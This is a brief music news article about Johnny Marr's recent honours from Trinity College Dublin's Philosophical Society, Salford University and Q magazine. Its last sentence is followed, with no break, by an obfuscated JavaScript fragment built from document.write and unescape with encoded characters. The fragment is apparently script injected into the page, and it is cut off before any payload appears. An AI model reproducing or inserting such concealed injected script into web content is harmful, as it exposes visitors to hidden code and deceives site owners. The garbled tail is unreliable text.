It has been a busy month for Johnny Marr who has collected a total of 3 Honors in as many weeks. This month has seen him honored by both Trinity College, Dublin, Salford University and Q magazine.
The guitarist attended a ceremony in Dublin where he spoke onstage before being elected Honorary Patron of the Trinity College Philosophical Society. The award is made to 'individuals who have excelled in public life and made a worthy contribution to society.' Members of the society include Samuel Beckett, Bram Stoker, Oscar Wilde, Salman Rushdie and Al Pacino.
Marr was also made a Professor of Music at Salford University. He will be attending an induction ceremony on the 17th October. He also picked up a Q Award for Lifetime Achievement last week at their Awards show at the Dorchester Hotel.
Marr, whose latest album with new band Modest Mouse went to number 1 in the U.S chart earlier this year said: "I'm very pleased, it's been a very exciting couple of years".document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
